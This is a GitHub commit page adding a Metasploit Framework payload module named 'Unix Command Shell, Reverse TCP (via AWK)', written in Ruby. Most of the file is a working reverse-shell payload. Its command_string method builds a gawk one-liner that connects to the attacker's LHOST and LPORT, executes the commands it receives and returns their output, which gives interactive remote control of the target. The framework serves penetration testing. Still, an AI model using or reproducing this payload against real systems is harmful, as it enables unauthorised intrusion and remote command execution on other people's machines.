Skip to content

Commit 8ffa4ac

Browse files
committed
Land rapid7#1885, awk reverse shell
2 parents 6d3dcf0 + f6977c4 commit 8ffa4ac

File tree

1 file changed

+57
-0
lines changed

1 file changed

+57
-0
lines changed
Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
require 'msf/core/handler/reverse_tcp'
10+
require 'msf/base/sessions/command_shell'
11+
require 'msf/base/sessions/command_shell_options'
12+
13+
module Metasploit3
14+
15+
include Msf::Payload::Single
16+
include Msf::Sessions::CommandShellOptions
17+
18+
def initialize(info = {})
19+
super(merge_info(info,
20+
'Name' => 'Unix Command Shell, Reverse TCP (via AWK)',
21+
'Description' => 'Creates an interactive shell via AWK',
22+
'Author' =>
23+
[
24+
'espreto <robertoespreto[at]gmail.com>',
25+
'Ulisses Castro <uss.thebug[at]gmail.com>',
26+
'Gabriel Quadros <gquadrossilva[at]gmail.com>'
27+
],
28+
'License' => MSF_LICENSE,
29+
'Platform' => 'unix',
30+
'Arch' => ARCH_CMD,
31+
'Handler' => Msf::Handler::ReverseTcp,
32+
'Session' => Msf::Sessions::CommandShell,
33+
'PayloadType' => 'cmd',
34+
'RequiredCmd' => 'gawk',
35+
'Payload' =>
36+
{
37+
'Offsets' => { },
38+
'Payload' => ''
39+
}
40+
))
41+
end
42+
43+
#
44+
# Constructs the payload
45+
#
46+
def generate
47+
return super + command_string
48+
end
49+
50+
#
51+
# Returns the command string to use for execution
52+
#
53+
def command_string
54+
"awk 'BEGIN{s=\"/inet/tcp/0/#{datastore['LHOST']}/#{datastore['LPORT']}\";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'"
55+
end
56+
57+
end

0 commit comments

Comments
 (0)